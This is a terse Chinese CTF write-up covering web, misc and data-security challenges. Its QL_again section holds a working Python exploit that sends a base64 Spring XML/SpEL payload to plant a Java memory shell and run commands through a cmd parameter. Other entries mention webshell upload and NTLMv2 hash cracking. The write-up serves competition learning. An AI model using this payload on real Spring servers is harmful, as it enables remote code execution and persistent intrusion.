自己的wp写起来就是方便，不用像写公众号那么细
细致版wp参见：0RAYS公众号
签到
网安知识大挑战
- F12找到AES解密代码，解了就行
签到题
- base家族
Web
hack memory
- /upload传马
easyjs
- 原型链污染
QL_again
- java题，不会
from requests import post, get
target = "host:port"
payload = "PGJlYW5zIHhtbG5zPSJodHRwOi8vd3d3LnNwcmluZ2ZyYW1ld29yay5vcmcvc2NoZW1hL2JlYW5zIg0KICAgICAgIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiDQogICAgICAgeHNpOnNjaGVtYUxvY2F0aW9uPSJodHRwOi8vd3d3LnNwcmluZ2ZyYW1ld29yay5vcmcvc2NoZW1hL2JlYW5zDQogICAgaHR0cDovL3d3dy5zcHJpbmdmcmFtZXdvcmsub3JnL3NjaGVtYS9iZWFucy9zcHJpbmctYmVhbnMtMy4wLnhzZCAiPg0KDQogICAgPGJlYW4gaWQ9ImhlbGxvV29ybGQiIGNsYXNzPSJvcmcuZXhhbXBsZS5NYWluIj4NCiAgICAgICAgPHByb3BlcnR5IG5hbWU9Im1lc3NhZ2UiIHZhbHVlPSIje1Qob3JnLnNwcmluZ2ZyYW1ld29yay5jZ2xpYi5jb3JlLlJlZmxlY3RVdGlscykuZGVmaW5lQ2xhc3MoJ29yZy5leGFtcGxlLkluY2VwdG9yTWVtU2hlbGwnLFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLkJhc2U2NFV0aWxzKS5kZWNvZGVGcm9tU3RyaW5nKCd5djY2dmdBQUFEUUEvd29BT3dDS0NBQldDd0NMQUl3SUFJMExBSTRBandzQWpnQ1FDQUNSQ0FDU0NnQ1RBSlFLQUE0QWxRZ0FsZ29BRGdDWEJ3Q1lCd0NaQ0FDYUNBQ2JDZ0FOQUp3SUFKMElBSjRIQUo4S0FBMEFvQW9Bb1FDaUNnQVVBS01JQUtRS0FCUUFwUW9BRkFDbUNnQVVBS2NLQUJRQXFBb0FxUUNxQ2dDcEFLc0tBS2tBcUFjQXJBb0FJQUN0Q3dBOEFLNExBRHdBcndrQWt3Q3dDQUN4Q2dDeUFLb0tBTE1BdEFnQXRRc0F0Z0MzQndDNEJ3QzVDd0FxQUxvSEFMc0lBTHdLQUwwQXZnY0F2d29BTUFDdENnREFBTUVLQU1BQXdnY0F3d2NBeEFvQU5RQ3RCd0RGQ2dBM0FJb0xBRFFBeGdnQXh3Y0F5QWNBeVFFQUJqeHBibWwwUGdFQUF5Z3BWZ0VBQkVOdlpHVUJBQTlNYVc1bFRuVnRZbVZ5VkdGaWJHVUJBQkpNYjJOaGJGWmhjbWxoWW14bFZHRmliR1VCQUFSMGFHbHpBUUFlVEc5eVp5OWxlR0Z0Y0d4bEwwbHVZMlZ3ZEc5eVRXVnRVMmhsYkd3N0FRQUpjSEpsU0dGdVpHeGxBUUJrS0V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWEYxWlhOME8weHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhOd2IyNXpaVHRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNwV2dFQUIySjFhV3hrWlhJQkFCcE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTkNkV2xzWkdWeU93RUFDM0J5YVc1MFYzSnBkR1Z5QVFBVlRHcGhkbUV2YVc4dlVISnBiblJYY21sMFpYSTdBUUFCYndFQUVreHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk93RUFBV01CQUJOTWFtRjJZUzkxZEdsc0wxTmpZVzV1WlhJN0FRQUJaUUVBRlV4cVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dU93RUFCM0psY1hWbGMzUUJBQ2RNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZERzQkFBaHlaWE53YjI1elpRRUFLRXhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlRzQkFBZG9ZVzVrYkdWeUFRQVNUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdBUUFEWTIxa0FRQU5VM1JoWTJ0TllYQlVZV0pzWlFjQXhRY0F5Z2NBeXdjQXpBY0FtUWNBelFjQW1BY0Fud2NBckFFQUNrVjRZMlZ3ZEdsdmJuTUJBQXB3YjNOMFNHRnVaR3hsQVFDU0tFeHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPMHhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYTndiMjV6WlR0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0TWIzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzlOYjJSbGJFRnVaRlpwWlhjN0tWWUJBQXh0YjJSbGJFRnVaRlpwWlhjQkFDNU1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdmMyVnlkbXhsZEM5TmIyUmxiRUZ1WkZacFpYYzdBUUFQWVdaMFpYSkRiMjF3YkdWMGFXOXVBUUI1S0V4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWEYxWlhOME8weHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhOd2IyNXpaVHRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHRNYW1GMllTOXNZVzVuTDBWNFkyVndkR2x2YmpzcFZnRUFBbVY0QVFBSmRISmhibk5tYjNKdEFRQnlLRXhqYjIwdmMzVnVMMjl5Wnk5aGNHRmphR1V2ZUdGc1lXNHZhVzUwWlhKdVlXd3ZlSE5zZEdNdlJFOU5PMXRNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOXpaWEpwWVd4cGVtVnlMMU5sY21saGJHbDZZWFJwYjI1SVlXNWtiR1Z5T3lsV0FRQUlaRzlqZFcxbGJuUUJBQzFNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNoaGJHRnVMMmx1ZEdWeWJtRnNMM2h6YkhSakwwUlBUVHNCQUFob1lXNWtiR1Z5Y3dFQVFsdE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2h0YkM5cGJuUmxjbTVoYkM5elpYSnBZV3hwZW1WeUwxTmxjbWxoYkdsNllYUnBiMjVJWVc1a2JHVnlPd2NBemdFQXBpaE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2hoYkdGdUwybHVkR1Z5Ym1Gc0wzaHpiSFJqTDBSUFRUdE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2h0YkM5cGJuUmxjbTVoYkM5a2RHMHZSRlJOUVhocGMwbDBaWEpoZEc5eU8weGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlRzFzTDJsdWRHVnlibUZzTDNObGNtbGhiR2w2WlhJdlUyVnlhV0ZzYVhwaGRHbHZia2hoYm1Sc1pYSTdLVllCQUFocGRHVnlZWFJ2Y2dFQU5VeGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlRzFzTDJsdWRHVnlibUZzTDJSMGJTOUVWRTFCZUdselNYUmxjbUYwYjNJN0FRQkJUR052YlM5emRXNHZiM0puTDJGd1lXTm9aUzk0Yld3dmFXNTBaWEp1WVd3dmMyVnlhV0ZzYVhwbGNpOVRaWEpwWVd4cGVtRjBhVzl1U0dGdVpHeGxjanNCQUFnOFkyeHBibWwwUGdFQUlFeHFZWFpoTDJ4aGJtY3ZUbTlUZFdOb1JtbGxiR1JGZUdObGNIUnBiMjQ3QVFBaVRHcGhkbUV2YkdGdVp5OUpiR3hsWjJGc1FXTmpaWE56UlhoalpYQjBhVzl1T3dFQUIyTnZiblJsZUhRQkFEZE1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdlkyOXVkR1Y0ZEM5WFpXSkJjSEJzYVdOaGRHbHZia052Ym5SbGVIUTdBUUFWYldGd2NHbHVaMGhoYm1Sc1pYSk5ZWEJ3YVc1bkFRQlVURzl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzTmxjblpzWlhRdmJYWmpMMjFsZEdodlpDOWhibTV2ZEdGMGFXOXVMMUpsY1hWbGMzUk5ZWEJ3YVc1blNHRnVaR3hsY2sxaGNIQnBibWM3QVFBRlptbGxiR1FCQUJsTWFtRjJZUzlzWVc1bkwzSmxabXhsWTNRdlJtbGxiR1E3QVFBUllXUmhjSFJKYm5SbGNtTmxjSFJ2Y25NQkFCQk1hbUYyWVM5MWRHbHNMMHhwYzNRN0FRQVBaWFpwYkVsdWRHVnlZMlZ3ZEc5eUFRQVdURzlqWVd4V1lYSnBZV0pzWlZSNWNHVlVZV0pzWlFFQVJreHFZWFpoTDNWMGFXd3ZUR2x6ZER4TWIzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzlJWVc1a2JHVnlTVzUwWlhKalpYQjBiM0k3UGpzSEFMZ0hBTGtIQU04SEFMOEhBTU1IQU1RQkFBcFRiM1Z5WTJWR2FXeGxBUUFWU1c1alpYQjBiM0pOWlcxVGFHVnNiQzVxWVhaaERBQTlBRDRIQU1vTUFOQUEwUUVBQTJkaWF3Y0F5d3dBMGdEVERBRFVBTlVCQUFBQkFBZHZjeTV1WVcxbEJ3RFdEQURYQU5FTUFOZ0EyUUVBQTNkcGJnd0EyZ0RiQVFBWWFtRjJZUzlzWVc1bkwxQnliMk5sYzNOQ2RXbHNaR1Z5QVFBUWFtRjJZUzlzWVc1bkwxTjBjbWx1WndFQUIyTnRaQzVsZUdVQkFBSXZZd3dBUFFEY0FRQUpMMkpwYmk5aVlYTm9BUUFDTFdNQkFCRnFZWFpoTDNWMGFXd3ZVMk5oYm01bGNnd0FzUURkQndEZURBRGZBT0FNQUQwQTRRRUFEWGR2WTJGdmMybHVhV1JsYldFTUFPSUE0d3dBNUFEbERBRG1BTmtNQU9jQVBnY0F6UXdBNkFEVERBRHBBRDRCQUJOcVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dURBRHFBRDRNQUdJQVl3d0FaZ0JuREFEckFPd0JBQVZ6ZEdGeWRBY0E3UWNBN2d3QTd3RHdBUUE1YjNKbkxuTndjbWx1WjJaeVlXMWxkMjl5YXk1M1pXSXVjMlZ5ZG14bGRDNUVhWE53WVhSamFHVnlVMlZ5ZG14bGRDNURUMDVVUlZoVUJ3RHhEQUR5QVBNQkFEVnZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDFkbFlrRndjR3hwWTJGMGFXOXVRMjl1ZEdWNGRBRUFVbTl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzTmxjblpzWlhRdmJYWmpMMjFsZEdodlpDOWhibTV2ZEdGMGFXOXVMMUpsY1hWbGMzUk5ZWEJ3YVc1blNHRnVaR3hsY2sxaGNIQnBibWNNQVBRQTlRRUFQbTl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzTmxjblpzWlhRdmFHRnVaR3hsY2k5QlluTjBjbUZqZEVoaGJtUnNaWEpOWVhCd2FXNW5BUUFUWVdSaGNIUmxaRWx1ZEdWeVkyVndkRzl5Y3djQTlnd0E5d0Q0QVFBZWFtRjJZUzlzWVc1bkwwNXZVM1ZqYUVacFpXeGtSWGhqWlhCMGFXOXVCd0RQREFENUFQb01BUHNBL0FFQURtcGhkbUV2ZFhScGJDOU1hWE4wQVFBZ2FtRjJZUzlzWVc1bkwwbHNiR1ZuWVd4QlkyTmxjM05GZUdObGNIUnBiMjRCQUJ4dmNtY3ZaWGhoYlhCc1pTOUpibU5sY0hSdmNrMWxiVk5vWld4c0RBRDlBUDRCQUFKdmF3RUFRR052YlM5emRXNHZiM0puTDJGd1lXTm9aUzk0WVd4aGJpOXBiblJsY201aGJDOTRjMngwWXk5eWRXNTBhVzFsTDBGaWMzUnlZV04wVkhKaGJuTnNaWFFCQURKdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMGhoYm1Sc1pYSkpiblJsY21ObGNIUnZjZ0VBSldwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjWFZsYzNRQkFDWnFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhOd2IyNXpaUUVBRUdwaGRtRXZiR0Z1Wnk5UFltcGxZM1FCQUJOcVlYWmhMMmx2TDFCeWFXNTBWM0pwZEdWeUFRQTVZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2hoYkdGdUwybHVkR1Z5Ym1Gc0wzaHpiSFJqTDFSeVlXNXpiR1YwUlhoalpYQjBhVzl1QVFBWGFtRjJZUzlzWVc1bkwzSmxabXhsWTNRdlJtbGxiR1FCQUF4blpYUlFZWEpoYldWMFpYSUJBQ1lvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3dFQUZITmxkRU5vWVhKaFkzUmxja1Z1WTI5a2FXNW5BUUFWS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3lsV0FRQUpaMlYwVjNKcGRHVnlBUUFYS0NsTWFtRjJZUzlwYnk5UWNtbHVkRmR5YVhSbGNqc0JBQkJxWVhaaEwyeGhibWN2VTNsemRHVnRBUUFMWjJWMFVISnZjR1Z5ZEhrQkFBdDBiMHh2ZDJWeVEyRnpaUUVBRkNncFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQUlZMjl1ZEdGcGJuTUJBQnNvVEdwaGRtRXZiR0Z1Wnk5RGFHRnlVMlZ4ZFdWdVkyVTdLVm9CQUJZb1cweHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bFdBUUFWS0NsTWFtRjJZUzlzWVc1bkwxQnliMk5sYzNNN0FRQVJhbUYyWVM5c1lXNW5MMUJ5YjJObGMzTUJBQTVuWlhSSmJuQjFkRk4wY21WaGJRRUFGeWdwVEdwaGRtRXZhVzh2U1c1d2RYUlRkSEpsWVcwN0FRQXFLRXhxWVhaaEwybHZMMGx1Y0hWMFUzUnlaV0Z0TzB4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3lsV0FRQU1kWE5sUkdWc2FXMXBkR1Z5QVFBbktFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5MWRHbHNMMU5qWVc1dVpYSTdBUUFIYUdGelRtVjRkQUVBQXlncFdnRUFCRzVsZUhRQkFBVmpiRzl6WlFFQUIzQnlhVzUwYkc0QkFBVm1iSFZ6YUFFQUQzQnlhVzUwVTNSaFkydFVjbUZqWlFFQUEyOTFkQUVBRlV4cVlYWmhMMmx2TDFCeWFXNTBVM1J5WldGdE93RUFFMnBoZG1FdmFXOHZVSEpwYm5SVGRISmxZVzBCQUR4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTlqYjI1MFpYaDBMM0psY1hWbGMzUXZVbVZ4ZFdWemRFTnZiblJsZUhSSWIyeGtaWElCQUJoamRYSnlaVzUwVW1WeGRXVnpkRUYwZEhKcFluVjBaWE1CQUQwb0tVeHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDNKbGNYVmxjM1F2VW1WeGRXVnpkRUYwZEhKcFluVjBaWE03QVFBNWIzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2WTI5dWRHVjRkQzl5WlhGMVpYTjBMMUpsY1hWbGMzUkJkSFJ5YVdKMWRHVnpBUUFNWjJWMFFYUjBjbWxpZFhSbEFRQW5LRXhxWVhaaEwyeGhibWN2VTNSeWFXNW5PMGtwVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBSFoyVjBRbVZoYmdFQUpTaE1hbUYyWVM5c1lXNW5MME5zWVhOek95bE1hbUYyWVM5c1lXNW5MMDlpYW1WamREc0JBQTlxWVhaaEwyeGhibWN2UTJ4aGMzTUJBQkJuWlhSRVpXTnNZWEpsWkVacFpXeGtBUUF0S0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3lsTWFtRjJZUzlzWVc1bkwzSmxabXhsWTNRdlJtbGxiR1E3QVFBTmMyVjBRV05qWlhOemFXSnNaUUVBQkNoYUtWWUJBQU5uWlhRQkFDWW9UR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdLVXhxWVhaaEwyeGhibWN2VDJKcVpXTjBPd0VBQTJGa1pBRUFGU2hNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNwV2dBaEFEY0FPd0FCQUR3QUFBQUhBQUVBUFFBK0FBRUFQd0FBQUM4QUFRQUJBQUFBQlNxM0FBR3hBQUFBQWdCQUFBQUFCZ0FCQUFBQUZBQkJBQUFBREFBQkFBQUFCUUJDQUVNQUFBQUJBRVFBUlFBQ0FEOEFBQUlGQUFZQUNRQUFBTDRyRWdLNUFBTUNBRG9FR1FUR0FMQXNFZ1M1QUFVQ0FDeTVBQVlCQURvRkVnYzZCeElJdUFBSnRnQUtFZ3UyQUF5WkFDSzdBQTFaQnIwQURsa0RFZzlUV1FRU0VGTlpCUmtFVTdjQUVUb0dwd0FmdXdBTldRYTlBQTVaQXhJU1Uxa0VFaE5UV1FVWkJGTzNBQkU2QnJzQUZGa1pCcllBRmJZQUZoSUV0d0FYRWhpMkFCazZDQmtJdGdBYW1RQUxHUWkyQUJ1bkFBVVpCem9IR1FpMkFCd1pCUmtIdGdBZEdRVzJBQjRaQmJZQUg2Y0FDam9GR1FXMkFDRURyQVNzQUFFQUR3Q3dBTE1BSUFBREFFQUFBQUJPQUJNQUFBQXVBQW9BTHdBUEFERUFGd0F5QUI4QU5BQWpBRFVBTXdBMkFGSUFPQUJ1QURvQWhnQTdBSm9BUEFDZkFEMEFwZ0ErQUtzQVB3Q3dBRUlBc3dCQUFMVUFRUUM2QUVNQXZBQkZBRUVBQUFCd0FBc0FUd0FEQUVZQVJ3QUdBQjhBa1FCSUFFa0FCUUJ1QUVJQVJnQkhBQVlBSXdDTkFFb0FTd0FIQUlZQUtnQk1BRTBBQ0FDMUFBVUFUZ0JQQUFVQUFBQytBRUlBUXdBQUFBQUF2Z0JRQUZFQUFRQUFBTDRBVWdCVEFBSUFBQUMrQUZRQVZRQURBQW9BdEFCV0FFc0FCQUJYQUFBQVl3QUgvd0JTQUFnSEFGZ0hBRmtIQUZvSEFGc0hBRndIQUYwQUJ3QmNBQUQvQUJzQUNBY0FXQWNBV1FjQVdnY0FXd2NBWEFjQVhRY0FYZ2NBWEFBQS9BQW5Cd0JmUVFjQVhQOEFHZ0FGQndCWUJ3QlpCd0JhQndCYkJ3QmNBQUVIQUdBR0FRQmhBQUFBQkFBQkFDQUFBUUJpQUdNQUFnQS9BQUFBWUFBRkFBVUFBQUFLS2lzc0xSa0V0d0Fpc1FBQUFBSUFRQUFBQUFvQUFnQUFBRW9BQ1FCTEFFRUFBQUEwQUFVQUFBQUtBRUlBUXdBQUFBQUFDZ0JRQUZFQUFRQUFBQW9BVWdCVEFBSUFBQUFLQUZRQVZRQURBQUFBQ2dCa0FHVUFCQUJoQUFBQUJBQUJBQ0FBQVFCbUFHY0FBZ0EvQUFBQVlBQUZBQVVBQUFBS0tpc3NMUmtFdHdBanNRQUFBQUlBUUFBQUFBb0FBZ0FBQUU4QUNRQlFBRUVBQUFBMEFBVUFBQUFLQUVJQVF3QUFBQUFBQ2dCUUFGRUFBUUFBQUFvQVVnQlRBQUlBQUFBS0FGUUFWUUFEQUFBQUNnQm9BRThBQkFCaEFBQUFCQUFCQUNBQUFRQnBBR29BQWdBL0FBQUFQd0FBQUFNQUFBQUJzUUFBQUFJQVFBQUFBQVlBQVFBQUFGVUFRUUFBQUNBQUF3QUFBQUVBUWdCREFBQUFBQUFCQUdzQWJBQUJBQUFBQVFCdEFHNEFBZ0JoQUFBQUJBQUJBRzhBQVFCcEFIQUFBZ0EvQUFBQVNRQUFBQVFBQUFBQnNRQUFBQUlBUUFBQUFBWUFBUUFBQUZvQVFRQUFBQ29BQkFBQUFBRUFRZ0JEQUFBQUFBQUJBR3NBYkFBQkFBQUFBUUJ4QUhJQUFnQUFBQUVBVkFCekFBTUFZUUFBQUFRQUFRQnZBQWdBZEFBK0FBRUFQd0FBQVdrQUF3QUZBQUFBYXJJQUpCSWx0Z0FtdUFBbkVpZ0R1UUFwQXdEQUFDcExLaElydVFBc0FnREFBQ3RNQVUwU0xSSXV0Z0F2VGFjQUNFNHR0Z0F4TEFTMkFESUJUaXdydGdBendBQTBUcWNBQ2pvRUdRUzJBRGE3QURkWnR3QTRPZ1F0R1FTNUFEa0NBRmV5QUNRU09yWUFKckVBQWdBbEFDMEFNQUF3QUR3QVJRQklBRFVBQkFCQUFBQUFTZ0FTQUFBQUZ3QUlBQmdBRndBWkFDTUFHZ0FsQUJ3QUxRQWZBREFBSFFBeEFCNEFOUUFnQURvQUlRQThBQ01BUlFBbUFFZ0FKQUJLQUNVQVR3QW5BRmdBS0FCaEFDa0FhUUFxQUVFQUFBQklBQWNBTVFBRUFFNEFkUUFEQUVvQUJRQk9BSFlBQkFBWEFGSUFkd0I0QUFBQUl3QkdBSGtBZWdBQkFDVUFSQUI3QUh3QUFnQThBQzBBZlFCK0FBTUFXQUFSQUg4QVF3QUVBSUFBQUFBTUFBRUFQQUF0QUgwQWdRQURBRmNBQUFBdEFBVC9BREFBQXdjQWdnY0Fnd2NBaEFBQkJ3Q0ZCUDhBRWdBRUJ3Q0NCd0NEQndDRUJ3Q0dBQUVIQUljR0FBRUFpQUFBQUFJQWlRPT0nKSxuZXcgamF2YXgubWFuYWdlbWVudC5sb2FkaW5nLk1MZXQobmV3IGphdmEubmV0LlVSTFswXSxUKFRocmVhZCkuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKSkubmV3SW5zdGFuY2UoKX0iIC8+DQogICAgPC9iZWFuPg0KDQo8L2JlYW5zPg=="
post("http://{target}/execute",data={"payload":payload})
payload = '''bmV3IG9yZy5zcHJpbmdmcmFtZXdvcmsuY29udGV4dC5zdXBwb3J0LkNsYXNzUGF0aFhtbEFwcGxpY2F0aW9uQ29udGV4dCgiZmlsZTovLy90bXAvUEdKLnR4dCIp'''
post("http://{target}/execute",data={"payload":payload})
print(get("http://{target}/s?cmd=/readflag").text)Misc
RealSignin
- 文件末尾base64，LSB里有表，换表base64
机密文档
- 明文攻击
- 宏代码，异或
- outguess
Eztraffic
- SMB NTLMv2 Hash爆破
username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response- 掩码爆破
- LSB得到图片顺序，拼图
数据安全
ds-enen
- 分离得到压缩包，AES-CBC
ds-encode
- 仿真，整理数据
